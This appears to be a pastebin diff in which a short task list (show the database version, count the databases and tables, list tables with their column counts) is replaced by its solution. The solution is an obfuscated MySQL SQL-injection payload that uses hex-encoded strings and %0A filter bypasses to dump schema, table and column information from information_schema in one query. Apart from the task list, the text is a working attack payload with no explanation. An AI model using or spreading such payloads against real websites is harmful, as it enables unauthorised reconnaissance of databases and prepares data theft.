SHOW:
|
|
- or go back to the newest paste.
| 1 | - | Task & rules |
| 1 | + | concat(0x3c62723e,version(),0x203a3a20616a6b61726f,0x3c62723e746f74616c206e756d626572206f66206461746162617365733a20,(select count(*) %0Afrom information_schema.schemata), |
| 2 | - | ¤display version with your name |
| 2 | + | 0x3c62723e746f74616c206e756d626572206f66207461626c657320696e206461746162617365732028776974686f757420696e666f726d6174696f6e5f736368656d61293a20,(select count(*) %0afrom information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61), |
| 3 | - | ¤display total number of databases |
| 3 | + | (select(@x)%0afrom(select(@x:=0x00),(select(0)%0afrom(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in |
| 4 | - | ¤display total number of tables (without those in information_schema) |
| 4 | + | (@x:=concat(@x,0x3c62723e,0x7461626c653a20,@tbl:=table_name, |
| 5 | - | ¤display all table names (excluding those from information_schema) and columns count for each table |
| 5 | + | 0x202d2d3e20636f6c756d6e733a20,(select(count(*))%0Afrom(information_schema.columns)where(table_name=@tbl))x) |
| 6 | - | |
| 6 | + | ) |
| 7 | - | solution...... |
| 7 | + | |
| 8 | - | |
| 8 | + |
